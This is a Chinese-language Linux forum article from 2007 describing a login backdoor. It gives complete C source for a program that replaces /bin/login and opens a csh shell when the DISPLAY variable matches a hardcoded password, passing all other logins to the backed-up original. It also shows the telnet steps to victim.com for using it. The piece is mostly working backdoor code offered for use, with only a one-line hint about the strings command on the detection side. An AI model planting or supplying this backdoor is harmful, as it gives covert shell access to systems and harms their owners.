红联Linux门户
Linux帮助

linux简单后门之login实现

发布时间:2007-10-26 16:56:10来源:红联作者:Shader
先把原始的/bin/login备份,再用自己的后门程序替换/bin/login。使用者telnet登录时,通过环境变量或者终端类型传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,重定向到原始的login文件,来处理正常登录。

最简单的login后门ulogin.c源代码如下:

实例:login后门
/****************/
#include
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins" //这里的"/sbin/logins"即是备份原来的"/bin/login",而本程序编译后将替换为"/bin/login"

main (argc, argv, envp)
int argc;
char **argv, **envp;
{
 char *display = getenv("DISPLAY");
 if ( display == NULL ) { //若为空,即是正常登录,用备份的"/sbin/logins"处理请求
  execve(_PATH_LOGIN, argv, envp);
  perror(_PATH_LOGIN);
  exit(1);
 }
 if (!strcmp(display,PASSWORD)) { //比较密码是否正确,正确则为使用者登录;否则则为正常登录,转下面处理
  system("/bin/csh"); //直接启动csh,也可以使用bash
  exit(1);
 }
 execve(_PATH_LOGIN, argv, envp); //正常登录
 exit(1);
}
/*********************/

利用后门登录

  前提是对方机器上已经替换并备份"/bin/login"为"/sbin/logins",而且Telnet服务是打开的。然后在本机器执行:

/************************/
bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
$
/*************************/

另:strings命令能够打印出二进制文件中的可显示字符串,如"strings /bin/login"
文章评论

共有 0 条评论